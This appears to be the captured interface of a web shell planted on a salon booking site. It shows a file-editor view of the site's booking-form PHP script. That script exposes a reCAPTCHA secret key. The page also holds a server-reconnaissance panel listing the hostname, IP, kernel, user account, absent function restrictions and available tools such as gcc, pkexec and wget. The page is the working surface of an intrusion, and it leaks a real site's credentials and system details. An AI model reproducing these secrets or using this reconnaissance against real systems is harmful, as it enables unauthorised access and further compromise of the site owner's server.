[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: demo-booking.php
<?php session_start(); use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\Exception; require 'auth/PHPMailer/src/Exception.php'; require 'auth/PHPMailer/src/PHPMailer.php'; include("admin/db/db.php"); // Verify reCAPTCHA response $recaptchaResponse = $_POST['g-recaptcha-response']; $recaptchaUrl = 'https://www.google.com/recaptcha/api/siteverify'; $recaptchaData = [ 'secret' => '6LfFbnQmAAAAADMyU244ZrePAQS1L4QBUNXVCe7E', 'response' => $recaptchaResponse, 'remoteip' => $_SERVER['REMOTE_ADDR'] ]; $recaptchaOptions = [ 'http' => [ 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($recaptchaData) ] ]; $recaptchaContext = stream_context_create($recaptchaOptions); $recaptchaResult = file_get_contents($recaptchaUrl, false, $recaptchaContext); $recaptchaResult = json_decode($recaptchaResult); if (!$recaptchaResult->success) { // reCAPTCHA verification failed //die('reCAPTCHA verification failed. Please try again.'); $_SESSION['mess'] = "<h6 style='color:red'>reCAPTCHA verification failed. Please try again</h6>"; header('Location: demo-book'); } else { $first_name = isset( $_POST['first_name'] ) ? preg_replace( "/[^\s\S\.\-\_\@a-zA-Z0-9]/", "", $_POST['first_name'] ) : ""; $last_name = isset( $_POST['last_name'] ) ? preg_replace( "/[^\s\S\.\-\_\@a-zA-Z0-9]/", "", $_POST['last_name'] ) : ""; $full_name = $first_name . ' '.$last_name; $business = isset( $_POST['business'] ) ? preg_replace( "/[^\.\-\_\@a-zA-Z0-9]/", "", $_POST['business'] ) : ""; $phone = isset( $_POST['phone'] ) ? preg_replace( "/[^\.\-\_\@a-zA-Z0-9]/", "", $_POST['phone'] ) : ""; $staff = isset( $_POST['staff'] ) ? preg_replace( "/[^\s\S\.\-\_\@a-zA-Z0-9]/", "", $_POST['staff'] ) : ""; $email = isset( $_POST['email'] ) ? preg_replace( "/[^\s\S\.\-\_\@a-zA-Z0-9]/", "", $_POST['email'] ) : ""; $locations = isset( $_POST['locations'] ) ? preg_replace( "/[^\s\S\.\-\_\@a-zA-Z0-9]/", "", $_POST['locations'] ) : ""; $business_type = isset( $_POST['business_type'] ) ? preg_replace( "/[^\s\S\.\-\_\@a-zA-Z0-9]/", "", $_POST['business_type'] ) : ""; $date = date("Y-m-d H:i"); $stmt = $con->prepare("insert into bookings (first_name,last_name,business,phone,staff,email,locations,business_type,date) values(?,?,?,?,?,?,?,?,?)"); $stmt->execute(array($first_name,$last_name,$business,$phone,$staff,$email,$locations,$business_type,$date)); $mail_body = "Name : $full_name <br > Email : $email <br > Phone : $phone <br > Staff number : $staff <br> Business Type : $business_type <br> Message : $message"; $servermail = "ask@thesalonfriend.com"; $subject = "Book a Demo"; $mail = new PHPMailer(); $mail->addAddress($servermail); $mail->setFrom('ask@thesalonfriend.com','TheSalonFriend'); $mail->Subject = $subject; $mail->isHTML(true); $mail->CharSet= 'UTF-8'; $mail->Body = $mail_body; if($mail->send()){ $_SESSION['mess'] = "<h6 style='color:green'>Thank you for contacting us. Our Team will get in-touch as sson as possible</h6>"; header('Location: demo-book'); } } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.79 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002